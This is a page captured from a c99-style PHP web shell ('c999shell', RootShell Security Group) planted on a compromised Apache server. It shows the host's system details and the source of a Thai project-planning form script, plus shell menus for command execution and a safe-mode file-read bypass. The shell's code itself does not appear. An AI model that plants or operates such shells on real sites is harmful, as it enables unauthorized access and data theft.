Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage_22222/plan_aj_wiratt/ drwxr-xr-x |
Viewing file: InsertPlaningIn.php (4.46 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | <?php session_start(); if (session_is_registered("valid_user")) { $Username = $valid_user; include("../include/FunctionDB.php"); include("../include/Function.php"); ConnectDB(); $Flag = true; $Project_code= htmlspecialchars(trim($_POST[Project_code])); $Faculty_code = htmlspecialchars(trim($_POST[Faculty_code])); $Orderlist = htmlspecialchars(trim($_POST[Orderlist])); $Project_plan = htmlspecialchars(trim($_POST[Project_plan])); $Training_name= htmlspecialchars(trim($_POST[Training_name])); $Teacher_code = htmlspecialchars(trim($_POST[Teacher_code])); $programId = htmlspecialchars(trim($_POST[programId])); $Year = htmlspecialchars(trim($_POST[Year])); $Date = $_POST[mYear]."-".$_POST[mMonth]."-".$_POST[mDate]; $Budget_use = $_POST[Budget_use]; ///////////////////// check name if ($Training_name =="") { $msg .="<li>กรุณากรอกรายละเอียดโครงการ/กิจกรรม"; $button ="<input type=\"button\" value=\"Back to Edit\" onclick=\"history.back();\" style=\"font-weight:bold;color:#FFF;background-color:#036;border-style:outset;border-color:#69F;font-family:Tohoma;\">"; $Flag = false; } /////////////////// Check /////////// if ($Date =="") { $msg .="<li>กรุณาใสวันที่ ดำเนินการ"; $button ="<input type=\"button\" value=\"Back to Edit\" onclick=\"history.back();\" style=\"font-weight:bold;color:#FFF;background-color:#036;border-style:outset;border-color:#69F;font-family:Tohoma;\">"; $Flag = false; } /////////////////////// Check //////////// if ($Ind =="") { $msg .="<li>กรุณากรอก ข้อ QA"; $button ="<input type=\"button\" value=\"Back to Edit\" onclick=\"history.back();\" style=\"font-weight:bold;color:#FFF;background-color:#036;border-style:outset;border-color:#69F;font-family:Tohoma;\">"; $Flag = false; } ///////////////////////// if ($Budget_use =="") { $msg .="<li>กรุณากรอก งบประมาณที่ใช้จริง"; $button ="<input type=\"button\" value=\"Back to Edit\" onclick=\"history.back();\" style=\"font-weight:bold;color:#FFF;background-color:#036;border-style:outset;border-color:#69F;font-family:Tohoma;\">"; $Flag = false; } ///////////////////////// Check Status to Insert Data ///////////////////////////// if( $Flag) { InsertProject($Training_code,$Project_code,$ProjectId,$MoneyId,$MoneyS_C,$Faculty_code,$Teacher_code,$Ind,$Orderlist,$Project_plan,$Training_name,$Date,$Budget_use,$programId,$Budget_Year,$Year); $msg.="<li>ระบบจัดเก็บข้อมูลของท่านเรียบร้อยแล้ว"; echo"<meta http-equiv=\"refresh\" content=\"1;URL=PlaningList.php?Faculty_code=$Faculty_code&Budget_Year=$Budget_Year&Project_code=$Project_code\">\n"; } CloseDB(); ?> <html> <head> <title>Project Detail</title> <meta http-equiv="Content-Type" content="text/html; charset=windows-874"> <link href="../.css/style1.css" rel="stylesheet" type="text/css"> </head> <body bgcolor="#FFFFFF" leftmargin="0" topmargin="0"marginwidth="0"marginheight="0"> <form> <br> <table width="57%" border="0" cellspacing="0"cellpadding="2"align="center"> <tr> <td><div align="center"><span><b><font color="#000000" size="4" face="Tahoma">:: แบบฟอร์มการโครงการ ::</font></b></span></div></td> </tr> <tr> <td> <table width="100%" border="0" cellspacing="1"cellpadding="0"align="center"bordercolor="#0B62D9" class="table"> <tr> <td bgcolor="#ECD9C6"><div align="center"><b><font color="#000000" size="4" face="Tahoma">ระบบแจ้ง</font></b></div></td> </tr> <tr> <td bgcolor="#000000"> <table width="90%" border="0" cellspacing="0"cellpadding="2"align="center"> <tr> <td><font color="#FFFFFF"><span><b><?php echo $msg;?></b></span></font></td> </tr> </table></td> </tr> <tr> <td bgcolor="#ECD9C6"> <div align="center"><b><font color="#CCFF00"><?php echo $button;?></font></b></div></td> </tr> </table> </td> </tr> </table> <br> <br> </form> </body> </html> <?php } else { echo"<body bgcolor=\"#CCCCCC\">"; echo"<meta http-equiv=\"refresh\" content=\"3;URL=../logout.php\" target=\"mainFrame\">\n"; echo"<center>"; echo"<br><br><br><b><font face=\"Tahoma\" size=\"4\" color=\"#FF0000\">Please Login</font> </b><br>"; echo"<br><br><font face=\"Tahoma\" size=\"10\" color=\"#000000\"> ERROR 404 PERMISION DENY</font><br>"; echo"<br><font face=\"Tahoma\" size=\"4\" color=\"#000000\"> คุณไม่มสิทธ์ใช้งาน</font>"; echo"</center>"; echo"</body>"; } ?> |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0058 ]-- |